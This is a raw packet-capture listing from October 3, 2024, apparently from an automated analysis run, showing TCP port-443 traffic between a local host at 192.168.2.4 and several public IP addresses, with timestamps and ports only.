Oct 3, 2024 10:41:37.126419067 CEST	49874	443	192.168.2.4	13.33.187.60
Oct 3, 2024 10:41:37.126431942 CEST	443	49874	13.33.187.60	192.168.2.4
Oct 3, 2024 10:41:37.127506971 CEST	443	49874	13.33.187.60	192.168.2.4
Oct 3, 2024 10:41:37.127547979 CEST	443	49874	13.33.187.60	192.168.2.4
Oct 3, 2024 10:41:37.127563000 CEST	443	49874	13.33.187.60	192.168.2.4
Oct 3, 2024 10:41:37.127580881 CEST	443	49874	13.33.187.60	192.168.2.4
Oct 3, 2024 10:41:37.127594948 CEST	49874	443	192.168.2.4	13.33.187.60
Oct 3, 2024 10:41:37.127604008 CEST	443	49874	13.33.187.60	192.168.2.4
Oct 3, 2024 10:41:37.127685070 CEST	49874	443	192.168.2.4	13.33.187.60
Oct 3, 2024 10:41:37.128240108 CEST	443	49874	13.33.187.60	192.168.2.4
Oct 3, 2024 10:41:37.128257036 CEST	443	49874	13.33.187.60	192.168.2.4
Oct 3, 2024 10:41:37.128277063 CEST	443	49874	13.33.187.60	192.168.2.4
Oct 3, 2024 10:41:37.128304005 CEST	49874	443	192.168.2.4	13.33.187.60
Oct 3, 2024 10:41:37.128313065 CEST	443	49874	13.33.187.60	192.168.2.4
Oct 3, 2024 10:41:37.128339052 CEST	49874	443	192.168.2.4	13.33.187.60
Oct 3, 2024 10:41:37.129060030 CEST	443	49874	13.33.187.60	192.168.2.4
Oct 3, 2024 10:41:37.129079103 CEST	443	49874	13.33.187.60	192.168.2.4
Oct 3, 2024 10:41:37.129115105 CEST	49874	443	192.168.2.4	13.33.187.60
Oct 3, 2024 10:41:37.129125118 CEST	443	49874	13.33.187.60	192.168.2.4
Oct 3, 2024 10:41:37.129204035 CEST	49874	443	192.168.2.4	13.33.187.60
Oct 3, 2024 10:41:37.131268978 CEST	443	49874	13.33.187.60	192.168.2.4
Oct 3, 2024 10:41:37.131289005 CEST	443	49874	13.33.187.60	192.168.2.4
Oct 3, 2024 10:41:37.131329060 CEST	49874	443	192.168.2.4	13.33.187.60
Oct 3, 2024 10:41:37.131339073 CEST	443	49874	13.33.187.60	192.168.2.4
Oct 3, 2024 10:41:37.131372929 CEST	49874	443	192.168.2.4	13.33.187.60
Oct 3, 2024 10:41:37.131957054 CEST	443	49874	13.33.187.60	192.168.2.4
Oct 3, 2024 10:41:37.131974936 CEST	443	49874	13.33.187.60	192.168.2.4
Oct 3, 2024 10:41:37.132042885 CEST	49874	443	192.168.2.4	13.33.187.60
Oct 3, 2024 10:41:37.132042885 CEST	49874	443	192.168.2.4	13.33.187.60
Oct 3, 2024 10:41:37.132050991 CEST	443	49874	13.33.187.60	192.168.2.4
Oct 3, 2024 10:41:37.135278940 CEST	49874	443	192.168.2.4	13.33.187.60
Oct 3, 2024 10:41:37.159632921 CEST	443	49874	13.33.187.60	192.168.2.4
Oct 3, 2024 10:41:37.159655094 CEST	443	49874	13.33.187.60	192.168.2.4
Oct 3, 2024 10:41:37.159732103 CEST	49874	443	192.168.2.4	13.33.187.60
Oct 3, 2024 10:41:37.159742117 CEST	443	49874	13.33.187.60	192.168.2.4
Oct 3, 2024 10:41:37.159795046 CEST	49874	443	192.168.2.4	13.33.187.60
Oct 3, 2024 10:41:37.169620037 CEST	443	49886	34.117.77.79	192.168.2.4
Oct 3, 2024 10:41:37.170063972 CEST	49886	443	192.168.2.4	34.117.77.79
Oct 3, 2024 10:41:37.170088053 CEST	443	49886	34.117.77.79	192.168.2.4
Oct 3, 2024 10:41:37.171114922 CEST	443	49886	34.117.77.79	192.168.2.4
Oct 3, 2024 10:41:37.171202898 CEST	49886	443	192.168.2.4	34.117.77.79
Oct 3, 2024 10:41:37.172594070 CEST	49886	443	192.168.2.4	34.117.77.79
Oct 3, 2024 10:41:37.172657013 CEST	443	49886	34.117.77.79	192.168.2.4
Oct 3, 2024 10:41:37.172858000 CEST	49886	443	192.168.2.4	34.117.77.79
Oct 3, 2024 10:41:37.172866106 CEST	443	49886	34.117.77.79	192.168.2.4
Oct 3, 2024 10:41:37.184405088 CEST	49893	443	192.168.2.4	3.127.178.105
Oct 3, 2024 10:41:37.184493065 CEST	443	49893	3.127.178.105	192.168.2.4
Oct 3, 2024 10:41:37.184561968 CEST	49893	443	192.168.2.4	3.127.178.105
Oct 3, 2024 10:41:37.184794903 CEST	49893	443	192.168.2.4	3.127.178.105
Oct 3, 2024 10:41:37.184844017 CEST	443	49893	3.127.178.105	192.168.2.4
Oct 3, 2024 10:41:37.214170933 CEST	443	49874	13.33.187.60	192.168.2.4
Oct 3, 2024 10:41:37.214209080 CEST	443	49874	13.33.187.60	192.168.2.4
Oct 3, 2024 10:41:37.214246988 CEST	49874	443	192.168.2.4	13.33.187.60
Oct 3, 2024 10:41:37.214258909 CEST	443	49874	13.33.187.60	192.168.2.4
Oct 3, 2024 10:41:37.214418888 CEST	49874	443	192.168.2.4	13.33.187.60
Oct 3, 2024 10:41:37.214777946 CEST	443	49874	13.33.187.60	192.168.2.4
Oct 3, 2024 10:41:37.214792967 CEST	443	49874	13.33.187.60	192.168.2.4
Oct 3, 2024 10:41:37.214827061 CEST	49874	443	192.168.2.4	13.33.187.60
Oct 3, 2024 10:41:37.214848042 CEST	443	49874	13.33.187.60	192.168.2.4
Oct 3, 2024 10:41:37.214874029 CEST	443	49874	13.33.187.60	192.168.2.4
Oct 3, 2024 10:41:37.214881897 CEST	49874	443	192.168.2.4	13.33.187.60
Oct 3, 2024 10:41:37.214919090 CEST	49874	443	192.168.2.4	13.33.187.60
Oct 3, 2024 10:41:37.214919090 CEST	49874	443	192.168.2.4	13.33.187.60
Oct 3, 2024 10:41:37.219109058 CEST	49874	443	192.168.2.4	13.33.187.60
Oct 3, 2024 10:41:37.219124079 CEST	443	49874	13.33.187.60	192.168.2.4
Oct 3, 2024 10:41:37.244818926 CEST	49886	443	192.168.2.4	34.117.77.79
Oct 3, 2024 10:41:37.261841059 CEST	443	49760	142.250.186.164	192.168.2.4
Oct 3, 2024 10:41:37.261907101 CEST	443	49760	142.250.186.164	192.168.2.4
Oct 3, 2024 10:41:37.261940956 CEST	49760	443	192.168.2.4	142.250.186.164
Oct 3, 2024 10:41:37.275141954 CEST	443	49882	3.33.220.150	192.168.2.4
Oct 3, 2024 10:41:37.275444984 CEST	49882	443	192.168.2.4	3.33.220.150
Oct 3, 2024 10:41:37.275460005 CEST	443	49882	3.33.220.150	192.168.2.4
Oct 3, 2024 10:41:37.275788069 CEST	443	49882	3.33.220.150	192.168.2.4
Oct 3, 2024 10:41:37.276232004 CEST	49882	443	192.168.2.4	3.33.220.150
Oct 3, 2024 10:41:37.276283979 CEST	443	49882	3.33.220.150	192.168.2.4
Oct 3, 2024 10:41:37.276376009 CEST	49882	443	192.168.2.4	3.33.220.150
Oct 3, 2024 10:41:37.281624079 CEST	49760	443	192.168.2.4	142.250.186.164
Oct 3, 2024 10:41:37.281641006 CEST	443	49760	142.250.186.164	192.168.2.4
Oct 3, 2024 10:41:37.300967932 CEST	443	49886	34.117.77.79	192.168.2.4
Oct 3, 2024 10:41:37.301163912 CEST	443	49886	34.117.77.79	192.168.2.4
Oct 3, 2024 10:41:37.301229954 CEST	49886	443	192.168.2.4	34.117.77.79
Oct 3, 2024 10:41:37.303168058 CEST	49886	443	192.168.2.4	34.117.77.79
Oct 3, 2024 10:41:37.303188086 CEST	443	49886	34.117.77.79	192.168.2.4
Oct 3, 2024 10:41:37.304392099 CEST	49894	443	192.168.2.4	46.137.24.228
Oct 3, 2024 10:41:37.304487944 CEST	443	49894	46.137.24.228	192.168.2.4
Oct 3, 2024 10:41:37.304560900 CEST	49894	443	192.168.2.4	46.137.24.228
Oct 3, 2024 10:41:37.305244923 CEST	443	49885	46.137.24.228	192.168.2.4
Oct 3, 2024 10:41:37.305417061 CEST	49894	443	192.168.2.4	46.137.24.228
Oct 3, 2024 10:41:37.305453062 CEST	443	49894	46.137.24.228	192.168.2.4
Oct 3, 2024 10:41:37.305684090 CEST	49885	443	192.168.2.4	46.137.24.228
Oct 3, 2024 10:41:37.305710077 CEST	443	49885	46.137.24.228	192.168.2.4
Oct 3, 2024 10:41:37.306124926 CEST	443	49885	46.137.24.228	192.168.2.4
Oct 3, 2024 10:41:37.306536913 CEST	49885	443	192.168.2.4	46.137.24.228
Oct 3, 2024 10:41:37.306621075 CEST	443	49885	46.137.24.228	192.168.2.4
Oct 3, 2024 10:41:37.306629896 CEST	49885	443	192.168.2.4	46.137.24.228
Oct 3, 2024 10:41:37.323410034 CEST	443	49882	3.33.220.150	192.168.2.4
Oct 3, 2024 10:41:37.347412109 CEST	443	49885	46.137.24.228	192.168.2.4
Oct 3, 2024 10:41:37.382572889 CEST	443	49882	3.33.220.150	192.168.2.4
Oct 3, 2024 10:41:37.382628918 CEST	49882	443	192.168.2.4	3.33.220.150
Oct 3, 2024 10:41:37.383213997 CEST	49882	443	192.168.2.4	3.33.220.150
Oct 3, 2024 10:41:37.383234024 CEST	443	49882	3.33.220.150	192.168.2.4
Oct 3, 2024 10:41:37.385303020 CEST	49895	443	192.168.2.4	46.137.24.228
Oct 3, 2024 10:41:37.385333061 CEST	443	49895	46.137.24.228	192.168.2.4
Oct 3, 2024 10:41:37.385406017 CEST	49895	443	192.168.2.4	46.137.24.228
Oct 3, 2024 10:41:37.385643005 CEST	49895	443	192.168.2.4	46.137.24.228
Oct 3, 2024 10:41:37.385658026 CEST	443	49895	46.137.24.228	192.168.2.4
Oct 3, 2024 10:41:37.402368069 CEST	443	49884	13.224.189.92	192.168.2.4
Oct 3, 2024 10:41:37.405127048 CEST	49884	443	192.168.2.4	13.224.189.92
Oct 3, 2024 10:41:37.405153036 CEST	443	49884	13.224.189.92	192.168.2.4
Oct 3, 2024 10:41:37.405508041 CEST	443	49884	13.224.189.92	192.168.2.4
Oct 3, 2024 10:41:37.406071901 CEST	49884	443	192.168.2.4	13.224.189.92
Oct 3, 2024 10:41:37.406138897 CEST	443	49884	13.224.189.92	192.168.2.4
Oct 3, 2024 10:41:37.406218052 CEST	49884	443	192.168.2.4	13.224.189.92
Oct 3, 2024 10:41:37.451402903 CEST	443	49884	13.224.189.92	192.168.2.4
Oct 3, 2024 10:41:37.480360031 CEST	49896	443	192.168.2.4	13.33.187.116
Oct 3, 2024 10:41:37.480397940 CEST	443	49896	13.33.187.116	192.168.2.4
Oct 3, 2024 10:41:37.480464935 CEST	49896	443	192.168.2.4	13.33.187.116
Oct 3, 2024 10:41:37.480854034 CEST	49896	443	192.168.2.4	13.33.187.116
Oct 3, 2024 10:41:37.480866909 CEST	443	49896	13.33.187.116	192.168.2.4
Oct 3, 2024 10:41:37.515403986 CEST	443	49885	46.137.24.228	192.168.2.4
Oct 3, 2024 10:41:37.515458107 CEST	49885	443	192.168.2.4	46.137.24.228
Oct 3, 2024 10:41:37.561796904 CEST	443	49885	46.137.24.228	192.168.2.4
Oct 3, 2024 10:41:37.561877012 CEST	443	49885	46.137.24.228	192.168.2.4
Oct 3, 2024 10:41:37.561938047 CEST	49885	443	192.168.2.4	46.137.24.228
Oct 3, 2024 10:41:37.562743902 CEST	49885	443	192.168.2.4	46.137.24.228
Oct 3, 2024 10:41:37.562762022 CEST	443	49885	46.137.24.228	192.168.2.4
Oct 3, 2024 10:41:37.568583965 CEST	49898	443	192.168.2.4	13.33.187.116
Oct 3, 2024 10:41:37.568624020 CEST	443	49898	13.33.187.116	192.168.2.4
Oct 3, 2024 10:41:37.568754911 CEST	49898	443	192.168.2.4	13.33.187.116
Oct 3, 2024 10:41:37.568902016 CEST	49898	443	192.168.2.4	13.33.187.116
Oct 3, 2024 10:41:37.568911076 CEST	443	49898	13.33.187.116	192.168.2.4
Oct 3, 2024 10:41:37.574709892 CEST	49899	443	192.168.2.4	52.31.23.243
Oct 3, 2024 10:41:37.574740887 CEST	443	49899	52.31.23.243	192.168.2.4
Oct 3, 2024 10:41:37.574814081 CEST	49899	443	192.168.2.4	52.31.23.243
Oct 3, 2024 10:41:37.575030088 CEST	49899	443	192.168.2.4	52.31.23.243
Oct 3, 2024 10:41:37.575042963 CEST	443	49899	52.31.23.243	192.168.2.4
Oct 3, 2024 10:41:37.609255075 CEST	49900	443	192.168.2.4	13.33.187.116
Oct 3, 2024 10:41:37.609292984 CEST	443	49900	13.33.187.116	192.168.2.4
Oct 3, 2024 10:41:37.609355927 CEST	49900	443	192.168.2.4	13.33.187.116
Oct 3, 2024 10:41:37.609597921 CEST	49900	443	192.168.2.4	13.33.187.116
Oct 3, 2024 10:41:37.609612942 CEST	443	49900	13.33.187.116	192.168.2.4
Oct 3, 2024 10:41:37.662123919 CEST	443	49888	13.33.187.116	192.168.2.4
Oct 3, 2024 10:41:37.662497997 CEST	49888	443	192.168.2.4	13.33.187.116
Oct 3, 2024 10:41:37.662508965 CEST	443	49888	13.33.187.116	192.168.2.4
Oct 3, 2024 10:41:37.662993908 CEST	443	49888	13.33.187.116	192.168.2.4
Oct 3, 2024 10:41:37.663400888 CEST	49888	443	192.168.2.4	13.33.187.116
Oct 3, 2024 10:41:37.663486958 CEST	443	49888	13.33.187.116	192.168.2.4
Oct 3, 2024 10:41:37.663512945 CEST	49888	443	192.168.2.4	13.33.187.116
Oct 3, 2024 10:41:37.663537979 CEST	49888	443	192.168.2.4	13.33.187.116
Oct 3, 2024 10:41:37.702255011 CEST	443	49884	13.224.189.92	192.168.2.4
Oct 3, 2024 10:41:37.702338934 CEST	443	49884	13.224.189.92	192.168.2.4
Oct 3, 2024 10:41:37.702390909 CEST	49884	443	192.168.2.4	13.224.189.92
Oct 3, 2024 10:41:37.702651024 CEST	49884	443	192.168.2.4	13.224.189.92
Oct 3, 2024 10:41:37.702670097 CEST	443	49884	13.224.189.92	192.168.2.4
Oct 3, 2024 10:41:37.704703093 CEST	49904	443	192.168.2.4	13.33.187.116
Oct 3, 2024 10:41:37.704742908 CEST	443	49904	13.33.187.116	192.168.2.4
Oct 3, 2024 10:41:37.705486059 CEST	49904	443	192.168.2.4	13.33.187.116
Oct 3, 2024 10:41:37.705718040 CEST	49904	443	192.168.2.4	13.33.187.116
Oct 3, 2024 10:41:37.705730915 CEST	443	49904	13.33.187.116	192.168.2.4
Oct 3, 2024 10:41:37.706864119 CEST	49905	443	192.168.2.4	13.224.189.92
Oct 3, 2024 10:41:37.706891060 CEST	443	49905	13.224.189.92	192.168.2.4
Oct 3, 2024 10:41:37.706980944 CEST	49905	443	192.168.2.4	13.224.189.92
Oct 3, 2024 10:41:37.707273006 CEST	49905	443	192.168.2.4	13.224.189.92
Oct 3, 2024 10:41:37.707283020 CEST	443	49905	13.224.189.92	192.168.2.4
Oct 3, 2024 10:41:37.707411051 CEST	443	49888	13.33.187.116	192.168.2.4
Oct 3, 2024 10:41:37.711632013 CEST	443	49891	13.33.187.116	192.168.2.4
Oct 3, 2024 10:41:37.711865902 CEST	49891	443	192.168.2.4	13.33.187.116
Oct 3, 2024 10:41:37.711880922 CEST	443	49891	13.33.187.116	192.168.2.4
Oct 3, 2024 10:41:37.712244987 CEST	443	49891	13.33.187.116	192.168.2.4
Oct 3, 2024 10:41:37.713421106 CEST	49891	443	192.168.2.4	13.33.187.116
Oct 3, 2024 10:41:37.713495970 CEST	443	49891	13.33.187.116	192.168.2.4
Oct 3, 2024 10:41:37.713572979 CEST	49891	443	192.168.2.4	13.33.187.116
Oct 3, 2024 10:41:37.726332903 CEST	443	49892	13.224.189.92	192.168.2.4
Oct 3, 2024 10:41:37.726543903 CEST	49892	443	192.168.2.4	13.224.189.92
Oct 3, 2024 10:41:37.726555109 CEST	443	49892	13.224.189.92	192.168.2.4
Oct 3, 2024 10:41:37.726906061 CEST	443	49892	13.224.189.92	192.168.2.4
Oct 3, 2024 10:41:37.727355957 CEST	49892	443	192.168.2.4	13.224.189.92
Oct 3, 2024 10:41:37.727490902 CEST	49892	443	192.168.2.4	13.224.189.92
Oct 3, 2024 10:41:37.727515936 CEST	443	49892	13.224.189.92	192.168.2.4
Oct 3, 2024 10:41:37.759407043 CEST	443	49891	13.33.187.116	192.168.2.4
Oct 3, 2024 10:41:37.835763931 CEST	49892	443	192.168.2.4	13.224.189.92
Oct 3, 2024 10:41:37.921178102 CEST	443	49894	46.137.24.228	192.168.2.4
Oct 3, 2024 10:41:37.921423912 CEST	49894	443	192.168.2.4	46.137.24.228
Oct 3, 2024 10:41:37.921449900 CEST	443	49894	46.137.24.228	192.168.2.4
Oct 3, 2024 10:41:37.921802998 CEST	443	49894	46.137.24.228	192.168.2.4
Oct 3, 2024 10:41:37.922152996 CEST	49894	443	192.168.2.4	46.137.24.228
Oct 3, 2024 10:41:37.922219038 CEST	443	49894	46.137.24.228	192.168.2.4
Oct 3, 2024 10:41:37.922298908 CEST	49894	443	192.168.2.4	46.137.24.228
Oct 3, 2024 10:41:37.963417053 CEST	443	49894	46.137.24.228	192.168.2.4
Oct 3, 2024 10:41:38.007339001 CEST	443	49892	13.224.189.92	192.168.2.4
Oct 3, 2024 10:41:38.007412910 CEST	443	49892	13.224.189.92	192.168.2.4
Oct 3, 2024 10:41:38.007432938 CEST	443	49892	13.224.189.92	192.168.2.4
Oct 3, 2024 10:41:38.007452011 CEST	443	49892	13.224.189.92	192.168.2.4
Oct 3, 2024 10:41:38.007489920 CEST	443	49892	13.224.189.92	192.168.2.4
Oct 3, 2024 10:41:38.007497072 CEST	49892	443	192.168.2.4	13.224.189.92
Oct 3, 2024 10:41:38.007510900 CEST	443	49892	13.224.189.92	192.168.2.4
Oct 3, 2024 10:41:38.007518053 CEST	49892	443	192.168.2.4	13.224.189.92
Oct 3, 2024 10:41:38.007543087 CEST	443	49892	13.224.189.92	192.168.2.4
Oct 3, 2024 10:41:38.007553101 CEST	49892	443	192.168.2.4	13.224.189.92
Oct 3, 2024 10:41:38.007553101 CEST	49892	443	192.168.2.4	13.224.189.92
Oct 3, 2024 10:41:38.007596970 CEST	49892	443	192.168.2.4	13.224.189.92
Oct 3, 2024 10:41:38.010562897 CEST	443	49893	3.127.178.105	192.168.2.4
Oct 3, 2024 10:41:38.010771990 CEST	49893	443	192.168.2.4	3.127.178.105
Oct 3, 2024 10:41:38.010785103 CEST	443	49893	3.127.178.105	192.168.2.4
Oct 3, 2024 10:41:38.011969090 CEST	443	49893	3.127.178.105	192.168.2.4
Oct 3, 2024 10:41:38.012069941 CEST	49893	443	192.168.2.4	3.127.178.105
Oct 3, 2024 10:41:38.013039112 CEST	49893	443	192.168.2.4	3.127.178.105
Oct 3, 2024 10:41:38.013113022 CEST	443	49893	3.127.178.105	192.168.2.4
Oct 3, 2024 10:41:38.013216972 CEST	49893	443	192.168.2.4	3.127.178.105
Oct 3, 2024 10:41:38.013225079 CEST	443	49893	3.127.178.105	192.168.2.4
Oct 3, 2024 10:41:38.018381119 CEST	443	49895	46.137.24.228	192.168.2.4
Oct 3, 2024 10:41:38.018623114 CEST	49895	443	192.168.2.4	46.137.24.228
Oct 3, 2024 10:41:38.018646955 CEST	443	49895	46.137.24.228	192.168.2.4
Oct 3, 2024 10:41:38.019004107 CEST	443	49895	46.137.24.228	192.168.2.4
Oct 3, 2024 10:41:38.019304991 CEST	49895	443	192.168.2.4	46.137.24.228
Oct 3, 2024 10:41:38.019370079 CEST	443	49895	46.137.24.228	192.168.2.4
Oct 3, 2024 10:41:38.019529104 CEST	49895	443	192.168.2.4	46.137.24.228
Oct 3, 2024 10:41:38.067405939 CEST	443	49895	46.137.24.228	192.168.2.4
Oct 3, 2024 10:41:38.091269970 CEST	443	49892	13.224.189.92	192.168.2.4
Oct 3, 2024 10:41:38.091284037 CEST	443	49892	13.224.189.92	192.168.2.4
Oct 3, 2024 10:41:38.091324091 CEST	443	49892	13.224.189.92	192.168.2.4
Oct 3, 2024 10:41:38.091407061 CEST	49892	443	192.168.2.4	13.224.189.92
Oct 3, 2024 10:41:38.091407061 CEST	49892	443	192.168.2.4	13.224.189.92
Oct 3, 2024 10:41:38.091418982 CEST	443	49892	13.224.189.92	192.168.2.4
Oct 3, 2024 10:41:38.093570948 CEST	49892	443	192.168.2.4	13.224.189.92
Oct 3, 2024 10:41:38.097438097 CEST	443	49892	13.224.189.92	192.168.2.4
Oct 3, 2024 10:41:38.097453117 CEST	443	49892	13.224.189.92	192.168.2.4
Oct 3, 2024 10:41:38.097501993 CEST	49892	443	192.168.2.4	13.224.189.92
Oct 3, 2024 10:41:38.097508907 CEST	443	49892	13.224.189.92	192.168.2.4
Oct 3, 2024 10:41:38.097752094 CEST	49892	443	192.168.2.4	13.224.189.92
Oct 3, 2024 10:41:38.127401114 CEST	443	49894	46.137.24.228	192.168.2.4
Oct 3, 2024 10:41:38.127475023 CEST	49894	443	192.168.2.4	46.137.24.228
Oct 3, 2024 10:41:38.130454063 CEST	49893	443	192.168.2.4	3.127.178.105
Oct 3, 2024 10:41:38.177620888 CEST	443	49894	46.137.24.228	192.168.2.4
Oct 3, 2024 10:41:38.177695036 CEST	443	49894	46.137.24.228	192.168.2.4
Oct 3, 2024 10:41:38.177973986 CEST	49894	443	192.168.2.4	46.137.24.228
Oct 3, 2024 10:41:38.178848982 CEST	49894	443	192.168.2.4	46.137.24.228
Oct 3, 2024 10:41:38.178868055 CEST	443	49894	46.137.24.228	192.168.2.4
Oct 3, 2024 10:41:38.179797888 CEST	49907	443	192.168.2.4	107.178.240.89
Oct 3, 2024 10:41:38.179832935 CEST	443	49907	107.178.240.89	192.168.2.4
Oct 3, 2024 10:41:38.179897070 CEST	49907	443	192.168.2.4	107.178.240.89
Oct 3, 2024 10:41:38.180253983 CEST	49907	443	192.168.2.4	107.178.240.89
Oct 3, 2024 10:41:38.180269003 CEST	443	49907	107.178.240.89	192.168.2.4
Oct 3, 2024 10:41:38.181143045 CEST	443	49892	13.224.189.92	192.168.2.4
Oct 3, 2024 10:41:38.181180000 CEST	443	49892	13.224.189.92	192.168.2.4
Oct 3, 2024 10:41:38.181222916 CEST	49892	443	192.168.2.4	13.224.189.92
Oct 3, 2024 10:41:38.181236029 CEST	443	49892	13.224.189.92	192.168.2.4
Oct 3, 2024 10:41:38.181262970 CEST	49892	443	192.168.2.4	13.224.189.92
Oct 3, 2024 10:41:38.181385994 CEST	49892	443	192.168.2.4	13.224.189.92
Oct 3, 2024 10:41:38.182391882 CEST	443	49892	13.224.189.92	192.168.2.4
Oct 3, 2024 10:41:38.182415009 CEST	443	49892	13.224.189.92	192.168.2.4
Oct 3, 2024 10:41:38.182472944 CEST	49892	443	192.168.2.4	13.224.189.92
Oct 3, 2024 10:41:38.182480097 CEST	443	49892	13.224.189.92	192.168.2.4
Oct 3, 2024 10:41:38.182538033 CEST	49892	443	192.168.2.4	13.224.189.92
Oct 3, 2024 10:41:38.183903933 CEST	443	49892	13.224.189.92	192.168.2.4
Oct 3, 2024 10:41:38.183944941 CEST	443	49892	13.224.189.92	192.168.2.4
Oct 3, 2024 10:41:38.183995962 CEST	443	49892	13.224.189.92	192.168.2.4
Oct 3, 2024 10:41:38.184010029 CEST	49892	443	192.168.2.4	13.224.189.92
Oct 3, 2024 10:41:38.184010029 CEST	49892	443	192.168.2.4	13.224.189.92
Oct 3, 2024 10:41:38.184094906 CEST	49892	443	192.168.2.4	13.224.189.92
Oct 3, 2024 10:41:38.184487104 CEST	49892	443	192.168.2.4	13.224.189.92
Oct 3, 2024 10:41:38.184498072 CEST	443	49892	13.224.189.92	192.168.2.4
Oct 3, 2024 10:41:38.187555075 CEST	443	49899	52.31.23.243	192.168.2.4
Oct 3, 2024 10:41:38.187731981 CEST	49908	443	192.168.2.4	52.31.23.243
Oct 3, 2024 10:41:38.187772989 CEST	443	49908	52.31.23.243	192.168.2.4
Oct 3, 2024 10:41:38.187828064 CEST	49908	443	192.168.2.4	52.31.23.243
Oct 3, 2024 10:41:38.188051939 CEST	49899	443	192.168.2.4	52.31.23.243
Oct 3, 2024 10:41:38.188097954 CEST	443	49899	52.31.23.243	192.168.2.4
Oct 3, 2024 10:41:38.188221931 CEST	49908	443	192.168.2.4	52.31.23.243
Oct 3, 2024 10:41:38.188234091 CEST	443	49908	52.31.23.243	192.168.2.4
Oct 3, 2024 10:41:38.188498974 CEST	443	49899	52.31.23.243	192.168.2.4
Oct 3, 2024 10:41:38.188868999 CEST	49899	443	192.168.2.4	52.31.23.243
Oct 3, 2024 10:41:38.188998938 CEST	49899	443	192.168.2.4	52.31.23.243
Oct 3, 2024 10:41:38.189003944 CEST	443	49899	52.31.23.243	192.168.2.4
Oct 3, 2024 10:41:38.199331999 CEST	443	49893	3.127.178.105	192.168.2.4
Oct 3, 2024 10:41:38.199409008 CEST	443	49893	3.127.178.105	192.168.2.4
Oct 3, 2024 10:41:38.199455976 CEST	49893	443	192.168.2.4	3.127.178.105
Oct 3, 2024 10:41:38.200932980 CEST	49893	443	192.168.2.4	3.127.178.105
Oct 3, 2024 10:41:38.200953960 CEST	443	49893	3.127.178.105	192.168.2.4
Oct 3, 2024 10:41:38.206302881 CEST	49909	443	192.168.2.4	3.127.178.105
Oct 3, 2024 10:41:38.206336975 CEST	443	49909	3.127.178.105	192.168.2.4
Oct 3, 2024 10:41:38.206461906 CEST	49909	443	192.168.2.4	3.127.178.105
Oct 3, 2024 10:41:38.206715107 CEST	49909	443	192.168.2.4	3.127.178.105
Oct 3, 2024 10:41:38.206727028 CEST	443	49909	3.127.178.105	192.168.2.4
Oct 3, 2024 10:41:38.228315115 CEST	443	49896	13.33.187.116	192.168.2.4
Oct 3, 2024 10:41:38.229299068 CEST	49896	443	192.168.2.4	13.33.187.116
Oct 3, 2024 10:41:38.229312897 CEST	443	49896	13.33.187.116	192.168.2.4
Oct 3, 2024 10:41:38.230803013 CEST	443	49896	13.33.187.116	192.168.2.4
Oct 3, 2024 10:41:38.230999947 CEST	49896	443	192.168.2.4	13.33.187.116
Oct 3, 2024 10:41:38.231354952 CEST	49896	443	192.168.2.4	13.33.187.116
Oct 3, 2024 10:41:38.231354952 CEST	49896	443	192.168.2.4	13.33.187.116
Oct 3, 2024 10:41:38.231365919 CEST	443	49896	13.33.187.116	192.168.2.4
Oct 3, 2024 10:41:38.231426001 CEST	443	49899	52.31.23.243	192.168.2.4
Oct 3, 2024 10:41:38.231448889 CEST	443	49896	13.33.187.116	192.168.2.4
Oct 3, 2024 10:41:38.276925087 CEST	443	49895	46.137.24.228	192.168.2.4
Oct 3, 2024 10:41:38.277009964 CEST	443	49895	46.137.24.228	192.168.2.4
Oct 3, 2024 10:41:38.277059078 CEST	49895	443	192.168.2.4	46.137.24.228
Oct 3, 2024 10:41:38.278347969 CEST	49895	443	192.168.2.4	46.137.24.228
Oct 3, 2024 10:41:38.278373003 CEST	443	49895	46.137.24.228	192.168.2.4
Oct 3, 2024 10:41:38.280046940 CEST	443	49898	13.33.187.116	192.168.2.4
Oct 3, 2024 10:41:38.280284882 CEST	49898	443	192.168.2.4	13.33.187.116
Oct 3, 2024 10:41:38.280292988 CEST	443	49898	13.33.187.116	192.168.2.4
Oct 3, 2024 10:41:38.283655882 CEST	49910	443	192.168.2.4	52.31.23.243
Oct 3, 2024 10:41:38.283690929 CEST	443	49910	52.31.23.243	192.168.2.4
Oct 3, 2024 10:41:38.284511089 CEST	443	49898	13.33.187.116	192.168.2.4
Oct 3, 2024 10:41:38.284585953 CEST	49910	443	192.168.2.4	52.31.23.243
Oct 3, 2024 10:41:38.284780025 CEST	49898	443	192.168.2.4	13.33.187.116
Oct 3, 2024 10:41:38.284784079 CEST	49910	443	192.168.2.4	52.31.23.243
Oct 3, 2024 10:41:38.284796953 CEST	443	49910	52.31.23.243	192.168.2.4
Oct 3, 2024 10:41:38.285057068 CEST	49898	443	192.168.2.4	13.33.187.116
Oct 3, 2024 10:41:38.285115957 CEST	443	49898	13.33.187.116	192.168.2.4
Oct 3, 2024 10:41:38.285240889 CEST	49898	443	192.168.2.4	13.33.187.116
Oct 3, 2024 10:41:38.318504095 CEST	443	49888	13.33.187.116	192.168.2.4
Oct 3, 2024 10:41:38.326483011 CEST	443	49900	13.33.187.116	192.168.2.4
Oct 3, 2024 10:41:38.326836109 CEST	49900	443	192.168.2.4	13.33.187.116
Oct 3, 2024 10:41:38.326844931 CEST	443	49900	13.33.187.116	192.168.2.4
Oct 3, 2024 10:41:38.327883959 CEST	443	49900	13.33.187.116	192.168.2.4
Oct 3, 2024 10:41:38.327956915 CEST	49900	443	192.168.2.4	13.33.187.116
Oct 3, 2024 10:41:38.328193903 CEST	443	49888	13.33.187.116	192.168.2.4
Oct 3, 2024 10:41:38.328217030 CEST	443	49888	13.33.187.116	192.168.2.4
Oct 3, 2024 10:41:38.328255892 CEST	49888	443	192.168.2.4	13.33.187.116
Oct 3, 2024 10:41:38.328267097 CEST	49900	443	192.168.2.4	13.33.187.116
Oct 3, 2024 10:41:38.328283072 CEST	443	49888	13.33.187.116	192.168.2.4
Oct 3, 2024 10:41:38.328299046 CEST	49888	443	192.168.2.4	13.33.187.116
Oct 3, 2024 10:41:38.328325987 CEST	443	49900	13.33.187.116	192.168.2.4
Oct 3, 2024 10:41:38.328332901 CEST	49888	443	192.168.2.4	13.33.187.116
Oct 3, 2024 10:41:38.328712940 CEST	49900	443	192.168.2.4	13.33.187.116
Oct 3, 2024 10:41:38.328721046 CEST	443	49900	13.33.187.116	192.168.2.4
Oct 3, 2024 10:41:38.331399918 CEST	443	49898	13.33.187.116	192.168.2.4
Oct 3, 2024 10:41:38.337840080 CEST	49898	443	192.168.2.4	13.33.187.116
Oct 3, 2024 10:41:38.337852955 CEST	443	49898	13.33.187.116	192.168.2.4
Oct 3, 2024 10:41:38.337932110 CEST	49899	443	192.168.2.4	52.31.23.243
Oct 3, 2024 10:41:38.337986946 CEST	49896	443	192.168.2.4	13.33.187.116
